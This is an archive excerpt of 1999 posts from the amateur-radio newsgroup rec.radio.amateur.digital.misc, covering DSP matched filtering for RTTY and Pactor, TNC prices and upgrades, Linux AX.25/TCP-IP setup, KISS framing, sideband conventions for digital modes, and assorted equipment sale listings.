Agreeing on such a standard would have multiple benefits. Besides avoiding the weak signal degradation of multiple ADDA conversions, such a standard would also ease interconnection of radios, filters, modems, etc. We wouldn't have to worry about matching levels and impedances between different pieces of equipment. We could use standard cables and standard connectors between all of our boxes. The effects of RFI on our audio systems should also be reduced.

Timewave is in a position to promote such a standard. I'd urge that it be given serious consideration.

3248. Value of AEA PK-232MBX

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-25 00:00:00 UTC
From: k8cpa@qsl.net
Message-ID: <379b53fa.38342716@eastcorp.supernews.com>
Source record: 17255

Hi, I have a pre-Timewave AEA Pk-232mbx Seriel Number 43497. and I would like to sell it... it's still got the original firmware in it. but I have NO clue what it's worth now... Anyone got any ideas what it's worth? I don't use it anymore. But I'd like to see go to someone who needs it... drop me a line letting me know an honest figure.

Thanks...

3249. Announcement: WXSat Version 2.5

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-25 00:00:00 UTC
From: Marius Rensen <100116.2632@compuserve.com>
Message-ID: <379B6067.7ED84B6D@compuserve.com>
Source record: 17256

Comin on Wednesday the 28 July around 18:00 UTC: WXSat Version 2.5

http://ourworld.compuserve.com/homepages/HFFAX

Many thanks to the Author of WXSat, Christian Bock making such an interesting and useful program for people who are interested in Weatherfax.

What's new in version 2.5?

- Some details of the author's "easy programming style" were not compatible with these new operating systems. Adjustments were made.
- Corrections in the PLL algorithm
- Corrections in the bitmap format (now 256 colors)
- Better handling of bitmap/wave file directories
- New signal processing eliminates the distortions caused by the asynchronous sampling. It does not make too much of a difference in the pictures, but at least the sync bars and picture margins are now nice and straight.
- New synchronization algorithm will yield pixel-accurate pictures from geostationary satellites. Use your favourite animation software kit to create cloud movies.
- New colors. If not satisfied, use your own palette.
- Decoding of WEFAX digital headers
- Conditional bitmap save depending on WEFAX digital header information
- Drag and drop for wave and bitmap files
- Command line input, use your favourite scheduler program to start WXSat.
- Keyboard commands
- Flip for pictures decoded upside-down
- New parameter windows, more buttons, new initialization file format, no complicated editing actions required any more.
- A real help file. It does not contain a bit more of information than a plain text file, but it seems to better comply with today's fast pace.
- As with all new software versions: Bigger, larger, slower, uses more memory, more download time and more CPU power (sorry). It was also finally time to leave the "small memory model" behind.

Best regards Marius

Marius Rensen [100116.2632@compuserve.com]

Gary:

I glad we agree on most of the points.

Let me clarify the A/D - D/A conversation issues. Certainly any signal acquisition and reconstruction is not perfect. But how "imperfect" is typical conversations?

All Timewave products use 16 bit conversion. This does not mean that the the signals are accurate to 16 bits. The performance varies due to individual part, layout, etc.

Lets say that we are accurate to 12 bits. This means that the quantization noise is about -72dB below full scale. Even is we assume poorer performance, there will be very little degradation of performance due to the conversion. Cascading these converters will cost about 3dB for each doubling of the number of converters. As you pointed out, if you do it right the first time, you don't need any, if you do it right with the filter you only need one. If the converters are sigma delta (true of all Timewave products except the AEA designed DSP-2232), the phase response will also be irrelevant since the antialiasing filters and reconstruction filters are very well behaved and out of band.

This means that unless we are using very poor conversion products or that the signal levels are scaled incorrectly (thats why there are overload and normal level indicators on the Timewave DSP audio filters), the A/D - D/A conversion will have an insignificant impact on the performance.

You are certainly correct that the best theoretical solution is a modem with matched filtering for each mode. Most amateur modems do not meet this test.

Matched filter optimized performance is largely accomplished in the PK-232 and PK-900 DSP upgrades. It can be slightly better in a properly designed DSP modem. It can also be achieved in a more flexible manner with the Timewave DSP-599zx (where we can also account for non gausian noise conditions).

The real advantage to these upgrades and filters is that they bring near optimal performance to the 100,000 plus legacy products in the market.

Using a good 500 Hz filter in your radio is a good thing as you pointed out, but it isn't matched filtering for most amateur modems.

Hello Charles;

Here is an estimate using actual costs and working backwards from a new
PK-232/DSP, List $450.

PK-232/DSP street price is about $439

If you have a PK-232, upgrading to a PK-232/DSP is $150. To upgrade a pk232mbx
is $125. Assuming that used equipment is worth a little over half of new
prices then a PK-232 would be have a used price of $ 125-145 and a used
PK-232mbx with pactor usually brings $145 to $175. Be sure you have the
manuals They are usually easy to sell.

Wow. Send a message to to a newsgroup and get a reply from the owner..
I feel special! :-) Anyhow, I bought this PK-232MBX New from
R & L Electronics in Ohio. and It's in Mint condition, No scratches on
it at all, dusty as heck though.. (cough) (hack) (wheeze) could use a
good dusting... Anyhow, This creates another problem, John, I cannot
for the life of remember where I put the Power cord and Manuals, I
think they might have gotten tossed out by mistake. same goes for the
cord that hooks it to the radio. do you guys sell the manuals and
power cords and other such stuff? Anyhow, I'd really like to sell the
thing, it's sitting here my Room/Shack and it not
being used at all, hasen't been in like 5 years now.. and I'd like to

see it used in someones shack, But I don't wanna sell it, to someone that dosen't have all the needed stuff to make it run, it'd make a good back up TNC for someone. I mainly used it for 1200BPS packet, back when that mode got really popular. but now, packet's all but deadsville around here anymore... if need be, I'll sit the thing on mom's scanner and get some frontal shots and rear shots and a shot of the inside... I really wanna sell the thing though, as it is just sitting around collecting dust...

I'd ask $200.00 or Best Offer, as I did pay alot for it new... and when I bought it, it had all the lastest stuff, enhanced maildrop, and all that jazz... there were a few updates after I bought it, just never got the money to get the upgrades... and I don't think I ever sent in the warranty card, I might have though... not sure... But she is good looking and all, no Major Scratches.. (okay, A few on the bottom from moving it around and there's one screw missing for the cover... prolly from me taking them out to get it out of KISS mode once! arrrgh!) Anyhow... I wanna sell it, anyone wanna buy it like it sits or no?

3255. Re: RTTY Contesting

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-25 00:00:00 UTC
From: Seth Miller <seth.miller@worldnet.att.net>
Message-ID: <379BBBF5.154EEF25@worldnet.att.net>
Source record: 17262

Gents,

I've been following this interesting thread, and it has generated a question in my mind. Some time ago, I posed a question to the group regarding the effectiveness of adding a DSP front end to my KAM'98 (or even purchasing a PTC-II) to obtain improved performance with weak-signal RTTY/Pactor I. The general consensus was that I would not see significant improvement with either option (for RTTY/Pactor I that is, obviously there would be a big improvement with Pactor II if I chose to use that mode).

The preceding thread implies a very different answer, that DSP processing ahead of the analog modem would indeed result in a noticeable improvement. Is this indeed the case, or am I misinterpreting the information in some way?

Thanks -

- Seth N6BMB

Hi I have for sale a 100mhz pentium chip on a dfi dual chip motherboard that will support up to a 166 mhz pentium chip. This is an intel chip.
$125.00 New...Manuel included

I also have a used 1.2 gig fujitsu hard drive. Great Drive.

$75.00

I also have a vga card with 512k memory on it, I will take $30.00 obo.

I will consider trades for any of these items. The price includes shipping.

That is indeed the case, Seth. A good matched filter ahead of the analog demodulator in your Kam will make a big difference when working weak signals.

The PTC-II *should* have a good matched filter internally, because it is a DSP unit. So it *should* handily outperform the KAM too, but that depends on the programmers, and their programming skills. I haven't extensively tested the PTC-II with RTTY and PACTOR, so I can't say for sure that it would outperform the KAM for those modes, but I'd be surprised if it didn't.

The PTC-II should not need another DSP filter in front of it (and would suffer from the errors and artifacts I mentioned earlier in the thread if an external DSP was used in front of it). But that depends on the skill of the PTC-II programmers. If they didn't do an optimum matched filter, then an external filter which is optimum may help.

Now with strong signals, which many signals on the air are, you won't see much difference. As Al says, almost anything will work when the SNR is good. But when signals are weak, or buried by interference, a good matched filter, whether external or built into the modem, will offer a significant advantage.

It is important to understand that a matched filter isn't just a narrow bandpass filter. It has a shape which exactly matches the shape of the spectrum of the type of signal you're trying to receive. For RTTY, that's basically a double hump response with the peaks centered on the two tone frequencies, but it also includes the *sidelobes* of the signal. If you look at the spectrum pictures in a recent Handbook, you'll see that the various digital modulations we use actually have fairly complex shapes. A matched filter exactly matches those shapes. So it passes the maximum amount of the desired signal while rejecting the maximum

amount of noise and interference. That improves the effective SNR, which in turn improves the BER (Bit Error Rate).

DSP matched filters can be implemented statically or dynamically. A static filter has exactly the same shape all the time. A dynamic, or adaptive, filter tries to maximize some metric or minimize some metric in order to achieve a best fit with a signal at any given moment. In principle, this allows the adaptive filter to compensate for things like skywave multipath, or interference that comes and goes. In practice, it is hard to do an adaptive filter well, so a static matched filter may be as good, perhaps better, in many cases. The skill of the programmer plays a big part in this. So the goodness of a DSP filter depends to a very large degree on the skill of the people who write it, and their grasp of the realities of the HF path and the nature of HF interference.

What I'm trying to say here is that just because a product uses DSP is no guarantee that it is a good DSP implementation. Good analog can beat bad DSP. You have to look a bit deeper and determine if the DSP was implemented optimally. If it is, it is great, if it isn't, then it may actually perform worse than a product which seems on the surface to be using inferior technology. Without being able to study the source code, the only way we can determine that is to do extensive on the air testing.

> Hello Chuck,

Thanks for the promotion but I work for Randy gawtry, President and owner of
Timewave. My title here is Chief Assistant Cook and Bottle Washer with sales
and marketing on the side.

Hree is the cost data for the accessories:

New radio cord $7.50
New Manual is $24.95
A power cord is $7.95

My best guess is that without the accessories, most folks will offer $175.

I use a Timewave DSP9+ to front end a KAM+ and it makes a world of a difference
in making contacts. It allows you to make and keep a QSO going in RTTY or PACTOR
that would be very difficult in crowded band conditions or weak signals.

Hi,
I have the ADMS 1 programming kit that I use with my Yaesu FT51r. I recently purchased a Yaesu VX5r, and am looking for the ADMS 1E version of the software.

Thanks & 73
de Bill (KI7BE)

Go here
http://www.tigertronics.com/software.htm
I use T.O.P.1.53 . Its a dos program but runs in windows.
If you want to try it I can send you a batch file.You need TFX28.ZIP ,
and TOP151.ZIP

Thank you all for your responses, oddly enough very different information than was received on the first go around, but such is the nature of this medium I suppose.

I can detect a slight improvement under very weak signal conditions using a soundcard DSP decoder (Ritty, etc.) vs. the KAM, but only very slight. Of course, I would doubt that the soundcard hardware represents a state of the art solution, and certainly the results would be heavily dependent on the skills of the programmer, as Gary points out.

It would appear that I have two options if I choose to upgrade, either get a good DSP front end (the Timewave units seem to be recommended), or sell the KAM and pay the difference to purchase a PTC-II. The latter solution would cost a few hundred dollars more, but would get me Pactor-II (although I do not currently have any particular need for this mode - doesn't seem to be much activity outside of the Netlink BBS system). Pactor II uses PSK modulation I believe, and if the performance delta is anything like I experience when comparing PSK31 to RTTY then I would expect the results to be very good.

Of course, an outboard DSP could be used for other modes as well, but the DSP in my IC-746, while certainly not high end, seems adequate for those purposes.

Decisions, decisions...

- Seth

One other option is the SCS PTC-IIe which gives the same performance
as the PTC-II at about 1/2 the cost. The e doesn't have the option
for VHF packet.

Bob,

Thank you for the pointer, I was not aware of the PTC-IIe. I did not see
any information regarding anticipated pricing on the SCS web site, but
if it is going to come in a half the cost then the IIe will probably be
the way I go as I do not need the dual-port capability.

Thanks again,

- Seth

The ADMS-1E software for my VX-1R produces gibberish in the dtmf dialing
codes. It also gives me a error message when I try to use the merge
files option. When tyring to merge with a rdf file the error message
says To use an rdf file only.
I would stick with what you have or try to find the ADMS 1D instead.
I am not happy with the RT Systems product ADMS-1E.

Hi John, it's not ready to release yet. When it's satisfactory, I'll
make it available. However, it's assembly level code written for
a Motorola DSP micro to run on an EVAL board so it would be a bear
to port to a PC.

Source record: 17289

Hello!

I'm rather new to packet (and amateur radio), but I want to try amateur
TCP/IP nevertheless. I've already setup my system for "regular" ax25 stuff
(Linux kernel driver, baycom 1k2 modem, 2m HT) and it works quite well
so far (though a bit slow).

I've read all the AX25 documentation for Linux I could find, but there
is one thing I did not find (or just not understand?).

If I want to connect to the ampr.net (the 44.whatever-network), do I
have to encapsulate IP frames in AX25 frames? Where is my (IP) default
gateway if my nearest digipeater does not support IP?

Or in other words: How do I tell my nearest digipeater to route AX25 frames
containing IP stuff to the next gateway capable of decapsulating them?
Or am I completely misunderstanding things?

If anybody would give me a hint or post a pointer to a web page or
document explaining things, it would help me a lot.

BTW what does the "-ipmode" option of Linux "axparms" command do?
The manpage mentions a vc mode and a datagram mode, but does not
explain the difference.

TIA and 73 de ralph oe5arp

I've set up a proposed new design for the http://hamradio-online.com web site.
I've added an online poll to seek your input on the new design - please visit
http://hamradio-online.com and give me your feedback - Thanks!

I'm also proposing to open up sections of this popular web site to volunteer
editors who could own their own sections on special interest topics.

Finally, I've just launched a new, very much improved, online discussion forum
and I'd like to see your feddback on that too. Post your comments on the
Discussion forum at http://hamradio-online.com

Thanks! 73, Ed, KF7VY

>http://www.rtsars.com

Their website has to be one of the most useless I've seen. It's terribly out of date (they only list ADMS-1D - no mention of ADMS-1E or the VX-5), and there is no description of what the various pieces of software actually *do*. Nor any pricing info I could find (the "online catalog" link gets an "under construction" message). And no email address to send queries to.

If I had to guess how good their software was by looking at their web site, I'd never buy anything from them.

However, I actually do have ADMS-1C, and know it is very useful. What I'd like to know is whether upgrading to -1E would let me read radio data from a text file rather than typing it in by hand - and, if so, how much the upgrade would cost. No info about either of these is on the web site so far as I could find.

Dave

> john, N3SKO/AAT3BF

In short, the Yaesu FT2600 sucks at 9600 packet. Here is a repeat of my post from a few weeks ago. I've since sold the radio to someone that had no interest in packet

==========
Sporting an easy to use dedicated data connector, we thought that the new Yaesu FT-2600M just might be useful for 9600 baud packet in our local TCP/IP network. The connector provides separate and isolated inputs and outputs for 9600 and 1200, plus Yaesu includes their DCS or Digital "PL" in the radio, a characteristic shared by the commercial radios we've used successfully (Ritron & Motorola).

Unfortunately we were disappointed with the performance of this radio at 9600. As near as we can tell, Yaesu fell short in two important areas:

1.) To be good at 9600 baud packet, radios must have a reasonbly flat transmit audio response down to a few Hz. This is because the modulated waveform of 1's and 0's does not average zero, having the effect of varying the average frequency at a low rate. The commercial rigs address this by applying modulation to both the varacter AND the VCO, allowing the radio to be accurately modulated down to 2 or 3 Hz. Yaesu didn't do this, thus the transmit frequency response falls off sharply below about 50 Hz. Good enough for CTCSS, but not 9600 baud packet.

The best we could do with strong signals was about a 30% error rate.

2,) On half duplex circuits, minimizing TXD improves performance dramatically. The receive to transmit delay of this radio is slow, requiring a TX Delay value of 200 ms or so to work at all. The commercial rigs include specific synthesizer speedup circuitry, allowing TX Delays as short as 80 ms.

The only thing we've found faster, are the (few and far between) crystal radios or the multimode rigs that are way too expensive to dedicate to a network.

The FT-2600 is great little rig that I liked a lot for 2m voice work, but performs poorly for 9600 packet.

Sorry, it's not. It's the DSP56002EVM Motorola Eval board. But
it could easily be done on the TI DSP Eval board. I'm just doing
a DFT after a brick-wall filter to decide whether the CW tone
is there or not. The result is ideally 11111111 for an 'on' and
00000000 for an 'off' at 12wpm. 'Course, noise puts a ï¿½ in
the 1's and a 1 in the ï¿½'s every once in awhile.

This should be done automatically by ALL of the TCP/IP amateur radio programs
(and by Linux too) of the KA9Q "NET" or "NOS" variety and their derrivatives.

> Or in other words: How do I tell my nearest digipeater to route AX25 frames
> containing IP stuff to the next gateway capable of decapsulating them?
> Or am I completely misunderstanding things?

You've now asked another question. Routing of IP packets should be done
according to the IP protocol, not the AX.25 protocol, where possible.

>
> BTW what does the "-ipmode" option of Linux "axparms" command do?
> The manpage mentions a vc mode and a datagram mode, but does not
> explain the difference.

VC mode - uses AX.25 "I" frames for the session.
Datagram - uses AX.25 "UI" frames for the session.

54Ft crankup, Mosley TA-33 tribander, CDE Ham II rotor and 2M Ringo Ranger for sale as a package. Buyer has to take down.

Tower has a little surface rust, but is structurally sound and has a new raising cable. Currently in active use with the TA-33 and a 5el homebrew 2m beam. The TA-33 is the original, heavier "senior" version.

All guys, cables, hardware, approx. 200ft of unused RG-8 and even a Navy issue leather climbing belt included.

Sold only as a package. $500. Buyer has to take down.

I hope this is OK for this newsgroup. If not, then please kindly email me a message and let me know. I'm a newbie here. Thanks.

To bid on the following, go to:
http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=138871576

I inherited a bunch of old radio station promotional records (33 speed.. the big ones) that I understand are collectibles when I bought a radio station 4 years ago. Some of them may be of interest to you. Some of them are scratched... NOT ALL ARE In the best of shape (Honesty is always the best policy). I have never played any of these. They have been in storage for years and years. Here's the first set I'm putting up for bid:
1) Les Paul with Mary Ford - "The World is Waiting for the Sunrise" and "Whispering"
2) Perry Como - "The Twelve Days of Christmas" and "Saw Mommy Kissing Santa Claus"
3) Fred Fiebel - "Silent Night, Holy Night" and "Adeste Fideles"
4) Eddie Fisher with Hugo Winterhalter & his Orchestra - "That's What Christmas Means to Me" and "Christmas Day"
5) Gordon MacRae and the Starlighters - "Rambling Rose" and "Hair of Gold, Eyes of Blue"
6) Tommy Dorsey and His Orchestra - "Canadian Capers-Fox Trot" and "Bacarolle-Fox Trot"
7) Cowboy Copas - "Juke Box Blues" and "No More Roamin'"
8) Lily Ann Carol and the Hi-Hatters - "Raindrops" and "Lonesome and Blue"
9) Phil Harris and his Orchestra - "One More Time" and "Old Time Religion"
10) Billy Bunn and His Buddies - "(It will have to do) Until the Real Thing Comes Along" and "That's When Your Heartaches Begin"

**** I HAVE TONS MORE OF THIS KIND OF STUFF... BE WATCHING FOR MORE POSTINGS AS I GET SOME OF THESE THINGS ORGANIZED A BIT BETTER. **** Shipping and handling is $10.00 within US. An extra $10 to ship internationally. Money Order/Cashier's Check will get same day shipping. Personal Check will be held for 5 days to clear.

Right now I have a binary threshold, either a '1' or a 'ï¿½'. I'm
going to install a 'don't know' third state to give it some
hysteresis so 111x11x1 will decode better as 11111111.

> What end
> result are you looking for (aside from just reading Morse code :-)?

I want to see a computer copy Morse code better than I can. Some
people say it can't be done. I say it can and the military
probably has already done it.

I was thinking more along the lines of the FFT amplitude values at your frequency of interest. I tinkered briefly with a software only solution, using the PC's soundcard, and felt that results varied too much with the value taken to indicate on or off states. I set it all aside before coming up with a satisfactory heuristic, but it seemed solvable. Set too low, QRN inserts false dits; set too high, dahs in wavering sigs read as multiple dits. Anyway, my thought at the time was to use time averaged values to adapt to noise in off states, and signal dips in on states. Your 'don't know' hysteresis would be a good improvement on that. Best of luck...

Michael.

3303. PacTerm '98 and Pk-Term '99 1.3.1 release on the web

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-30 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <#QveNCr2#GA.60@cpmsnbbsa05>
Source record: 17211

A maintenance release of Pacterm '98 and PkTerm '99 is now available on the web at http://www.cssincorp.com. This FREE release to owner of the product include the following fixes:

Pkterm -

-HMTL Help files now operational
-fec receive mode fixed
-added brightness command for PK-900
-"disp a" command follow by "disp b" command doesn't cause fault
-"disp i" command fixed
-enhancement for ability in "pactor listen" mode to do a unlinked transmission and to attempt a ARQ link
-Corrected problem with displaying backspace correctly in Pactor
-Fixed chat buffer limitation in ISS if connected station did changeover.
-Fixed GPF problem with LogWindows if synced from HF Window under Windows 95 or 98
-Fixed help button on Quick Connects, now brings up help

Kantronics

-HTML help files now operational
-Unproto HF packet now goes to HF port on the KAM
-Corrected problem with displaying backspace correctly in pactor
-Fixes chat buffer limitation in ISS if connected station did changeover
-Fixed GPF problem with LogWindows if synced from HF Window under Windows 95 or 98
-Fixed help button on Quick Connects, now brings up help

Take a look at the review of the Pacterm '98 product in the August, 1999 QST. You'll be able to read about all of the features of this popular product.

Pacterm '98 retails for $79.95 and can be purchased from your favorite amateur radio dealer or direct from CSS at 256-381-6100. http://www.cssincorp.com. If the product is purchased between now and December 1999, you will get a coupon for $25 off the purchase of the Timewave DSP-599zx. This DSP filter adds the power of DSP to your Kantronics TNC.

PKTerm '99 retails for $79.95 and can be purchased from your favorite amateur radio dealer or direct from Timewave Technology at 651-22-4858. http://www.timewave.com. You can also find information on the DSP 599zx on their website.

CSS has also released Wefax '99 for Kantronics TNC's and will soon have a version for the Timewave/AEA TNc's. Wefax '99 Preview is $49.95 and

includes free updates of all 1.x revisions.

Hi Gary,

Actually, most all private land mobile radio systems still use morse cw
for station/system ID. Even trunked systems have the highest frequency
ID'd on cw. Few systems use voice ID, (prerecorded or live). The
reason is that cw ID can be run at about 1 KHz deviation, and not
interfere with voice if the two happen to occur coincidentally, though
the callsign can still be read. The FCC hasn't allowed any other type
of digital ID yet for these stations. Once the FCC allows other means,
I'm sure the cw IDers will disappear rapidly.

Digital signals can be processed by a transceiver in either USB or LSB mode. Some digital modes (rtty and qpsk for example) are polarity sensitive and some (pactor and bpsk) are not. For those that are, most software or controller firmware can invert the signal polarity to work with the opposite sideband.

The standard is to use lower-sideband. If you are using a radio
that only has upper sideband, then just reverse the tone
frequencies for your mark and space tones.

If you have a KAM unit, this is easy with the fact that
the mark and space tones are defined with the marktone=
and spacetone= commands. If you have a KAM unit, be sure
to also specify shift=modem..

It depends on the type of digital signal. Most or the time lsb is
used to transmitt RTTY, but usb is for psk31.

Most softwear and some of the decoder/demodulator units have way to
invert or change the signal so that either sideband can be used.
The way ssb works makes it easy to invert the signal in the audio
input and output tones in most modes.

Not sure of some modes, but psk31 seems to be normally in the usb
mode and the others are normally in the lsb mode, but you can invert
the signals and use your rig even if it only has usb.

Also you can do "invert on" Trish, which does the same time :)

There are programs out there, for basic text mode stuff minicom will work. There is also an AX25 driver for Linux, I have not investigated it yet but I believe it is included as an add-on with some Linux distributions. Check www.redhat.com (I think) as there may be a How-To there for it.

If you have security and privledges setup correctly you can limit access to any devices in Linux. I'm not a Linux expert, just learning and figured I'd pass on what I found. I did have a friend that used packet on his comercial freq to Xmit newsgroups at 9600baud over a 20 mile span with little retrans/errors. I am looking into doing something similar to monitor data at remote location (temp/etc).

Hope this helps some.

Yeah, ax25 is part of the Linux kenerel -- so you need to rebuild the kernel
with the ax25 options on. Also, you need some ax25 applications to call
stations and things like this -- they're called axutils. I was running
my PK232 on 1200 baud VHF packet using the Linux Kernel-- though now I
switched to the sound modem for VHF, and am now working to get the PK232 up on
HF packet. You want to read the ax25 howto, I believe -- except for the
recent distributions, you don't need to do the kernel patches. Most of
the rest of the stuff in there is okay.

Please note carefully what Bob Lewis said in his post:

<< .....Some digital modes (rtty and qpsk for example) are polarity
sensitive ....>>

PSK31 is, by convention, always sent in USB mode - however, there is
no way that the receiver can know that, nor does it care, if the PSK31
signal is in BPSK mode. QPSK, is something else altogether, and it
requires the receiver to invert the signal unless the receiver is also
in the same mode as the sender. In other words, for QPSK:
USB to USB OK
LSB to LSB OK
USB to LSB Receiver must invert
LSB to USB Receiver must invert

That last line would be really dumb in my opinion, because the sender
really has no reason to do that. There are very good reasons, because
of the way IF filters are designed in receivers, to have to use LSB
with inversion on reception. If I have a receiver that has the IF
filter centered at an awkward frequency in USB mode, I may want to use
some other mode to receive, and I can choose to do that so long as I
apply the inversion when necessary.

When monitoring 'raw' incomming KISS frames from my TNC (in kiss mode,
hi hi), it seems
that the CRC field of the ax25 protocol is missing.

Are the crc calculation/check done by the modem before the rest of the
ax25 frame is
transmitted to the pc, or do i just have some sort of error in my
monitoring software..?

The CRC field is not included in the KISS frame. It is calculated
by the TNC on transmission, and checked and removed on reception. When the
CRC fails, the frame is not transmitted. So one can assume that any frame
received over the KISS link is a valid frame.

(actually, this is one of the two big design errors in KISS: it assumes
that no errors ever occur on the KISS link, as they cannot be detected.
the design other error is the omission of any control or reporting about
the moment a KISS frame sent to the TNC is actually transmitted on the air)

If you are wanting decent Inet access, you will have to deal with one of
those nasty old commercial outfits who expect to make a buck.

There are ways to work around it for E-mail service, but you will end up
spending more on equipment than you would have to just go ahead a pay for
access in the first place. - This, in addition to slow, not 100% reliable
E-mail.

Of course, if you are REALLY cheap, you can go back to using the Postal
service...

Frequency is a term used many years ago to signify "foghorn" technology.
(Technology which does not share spectrum). Everyone is going to wireless
modems with 1.6 to 10 Mbps on 2.4 GHz. You can meet me on Channel 7,
SubChannel 2, with a password of "firecracker".

Steve!
You have a callsign!
I'm amazed.

For information about Western Washington, connect to any node,
connect to any BBS system, and snag the network map file.

Plenty of ham radio digital operation in W. Wash. (and E. Wash. and
all of Oregon and B.C.) anything from "antique" 1200 baud stuff to
9600 full duplex and regen. repeaters to systems with HF (PACTOR
and CLOVER) links. If you really cannot find anything, you might
send a (packet) message to w5rfl@w5rfl.wa.usa.noam or to
kb6le@kb6le.wa.usa.noam. There are APRS, BBS, tcp/ip, just about
anything you might want to play with. Several folks have web servers
online (via RADIO not the internet). Can't help you out with specific
frequencies where you are located (300 miles from here), but know
that there are plenty of network resources up there ... I can connect
through the network to them from way down here.

You probably won't get a lot of help in this newsgroups, since
the majority of the folks that post here are "internet only" or
"internet mostly", and have no clue about radio networks.
Some of them only post trolls ...

... Hank - w0rli - in NW Oregon

Some versions of KISS (e.g. Kantronics multi-drop) provide an option
to checksum the KISS frame across the serial (or ethernet) link. This is
not the same as the AX.25 CRC, but is computed over the data bytes
and KISS protocol bytes flowing across the link.

3324. Hardware problem

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-02 00:00:00 UTC
From: Miroslav Skoric <m.skoric@eunet.yu>
Message-ID: <7o2kedgib1@SOLAIR2.EUnet.yu>
Source record: 17232
Cross-posted to: rec.radio.amateur.digital,rec.radio.amateur.digital.misc

I have the following equipment: TX GA motherboard, Intel 166, 96MB RAM, S3 Virge video, comports on board COM1 (mouse) and COM2 (TNC2), WinNT4.0 + Service pack 5, Win98 too, software WinFBB7.00g working ok with an radio connected to TNC2. Per default, WinNT's Ports "see" only COM2 with 'default' settings. Adding COM3 to be used for modem makes more failure inputs into Control panel's Ports as well into Events (COM2 dissapear, COM2 registers are overlap with COM3 registers /although IRQ's and IO addresses differ/ etc)

Well, after having installed internal Zoltrix/Rockwell FM-VSP336I modem 33k6 (regardless of chosen COM3/4 and/or IRQ jumpers on the card, regardless of either NT or 98), FBB/TNC combo is starting to resync and/or I get messages: Error write COM2, Error initialization port etc. I have tried to delete port(s), add port(s), delete modem, add modem etc without success. Modem itself works nice, regardless of TNC is wired to COM2 or not, but TNC works only when modem is pulled out. Going to pull out remaining hair, HI!

Settings: COM1 3f8 IRQ4 (mouse 9pin RS232 DB9), COM2 2f8 IRQ3 (TNC 25pin RS232 DB25), NE2000 compatible ethernet ISA card IRQ5 I/O 240, s/b card Opti IRQ9,10,11. So, I have chosen modem to be internal COM3 3e8 IRQ12 (<== IRQ12 was the only one Win98 recognized as "free" IRQ in the system). Also, tried to pull out NE2000, use its IRQ5, change s/b settings... no way for TNC to work when modem is inside.

Any suggestion or question?

Misko, YT7MPB

3325. List of the rec.radio newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-02 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7o36krgcg1@news.hawaii.edu>
Source record: 17233
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.dx

```
Archive-name: radio/personal-brief-introduction

In an effort help ensure a poster's article reaches the appropriate
audience, below is a list of the rec.radio newsgroups. In most cases,
a group's name will explain its purpose. Cross-posting should rarely
be necessary.

rec.radio.broadcasting (devoted to the broadcast industry; moderated)
rec.radio.cb
rec.radio.info (periodic informational bulletins; moderated)
rec.radio.scanner
rec.radio.shortwave
rec.radio.swap (for buying, selling, and trading; not a discussion group)

rec.radio.amateur.antenna
rec.radio.amateur.boatanchors (tube-type communications equipment)
rec.radio.amateur.digital.misc (packet, pactor and other digital modes)
rec.radio.amateur.dx (long-distance amateur communications)
rec.radio.amateur.equipment (questions, comments regarding commercially-
built amateur gear; not for buying/selling)
rec.radio.amateur.homebrew (devoted to home-building ham gear)
rec.radio.amateur.policy (issues include code, restructuring, local
restrictions in conflict with FCC R&R)
rec.radio.amateur.space (satellites, meteor scatter, EME)
rec.radio.amateur.misc (any topic not covered in the above groups)

(At least two other English language radio hierarchies exist, prefixed
with "uk" (United Kingdom), and "aus" (Australia), in place of "rec.")

Again, cross-posting should rarely be necessary. Many times, a long-
running thread results from a single cross-posted article, and its
content drifts further and further away from being "on-topic" in the
various NGs which receive each and every followup.

For more detailed information, see "Guide to the Rec.radio Newsgroups"
posted on the 15th of each month.

Yes, I became a Ham in 1989 when Oklahoma threatened to
make citizens with scanners in their vehicle a criminal, except for
Hams. Turns out I learned Morse code for nothing, as the
Scanner Bill died, and then the ARRL came out with the
no-code vote.

Sorry, I don't often ID in this group...

I see a lot of Hams coming back 10 years later and looking for the
hobby as it was. Here in OKC we had nodes all over, with quite a
backbone infrastructure. This infrastructure was mostly based on
one or two Hams. What happened was that with all those nodes,
the major part of the traffic was people who were too lazy to
turn their tuning knob. Thus the BBS crap was pulled through the
VHF node on the BBS channel, the UHF backbone, and then the
VHF node on their "home" channel. You wouldn't notice it except
for the 10 baud throughput on a good day.

The problem then, and worse now, is radio sites. All the good
radio sites in Oklahoma are piggy-back on commercial sites.
This is a rare privilege anymore, with insurance companies
and their liability losses. They don't want an "amateur" anything
falling off a tower (part or human).

That means more Ham sites with lower antennas. But this is
just as much a problem, in that more nodes equals more
latency. Thus the only cheap high speed solution is the internet,
to link the LAN's together. There is another solution with a low
antenna infrastructure, and that is high-speed spread-spectrum,
where the effects of latency are masked by an acceptable
overall throughput.

I'm experimenting with a four mile link at 2.4 GHz at 100 mW.
The problem is, that the wireless cards have the radio part on
the card, and thus the computer either has to be mounted at the
antenna, or a long run of expensive coax and adapters is
required. The 100 mW can easily become 50 mW or less at
this frequency. You almost need waveguide to do better. I'm
using a parabolic dish, which offers high gain (about 21 dB).
I've checked the terrain and the math, and at 20 ft at each site,
it just isn't going to be possible to reliably connect at that range.
I purchased two 1/2 Watt amplifiers to make this link reliable.

If I had a central site with 75 to 100 feet, it would be easier to
put up three low gain antennas (or even Omni's) to cover the
three legs of the tower, with a 120 degree beam shape. This

could also then put the users on three channels depending on
which leg of the tower favors them.

The card I'm using is the Proxim Symphony. This is a $120
price range Ethernet replacement at 1.6 Mbps. Basically a
T1 capability over the air. There is a Linux driver I am using,
and Proxim recently released an NT driver, so the computer
networking and routing capability is already there as well.
All of this is cheaper than a TNC, radio, and power supply.
The end user could just use their Win98 or Win95 machines.

In fact, several incompatible implementations of such a feature exist.

This is inevitable when it is not described in the original standard, and
there is no registry where one can deposit extensions to a previous
standard, so that others can view them and use them in their products.
(instead of inventing something new and incompatible)

The Icom Q7A wins hands down. It has better audio, great sensitivity,
and much better scan perfomance. Plus if you use the programming
software you can listen down into the shortwave frequencies.

Good luck,
Ed

The VX-1R has an alphanumeric display, and it is half the size.
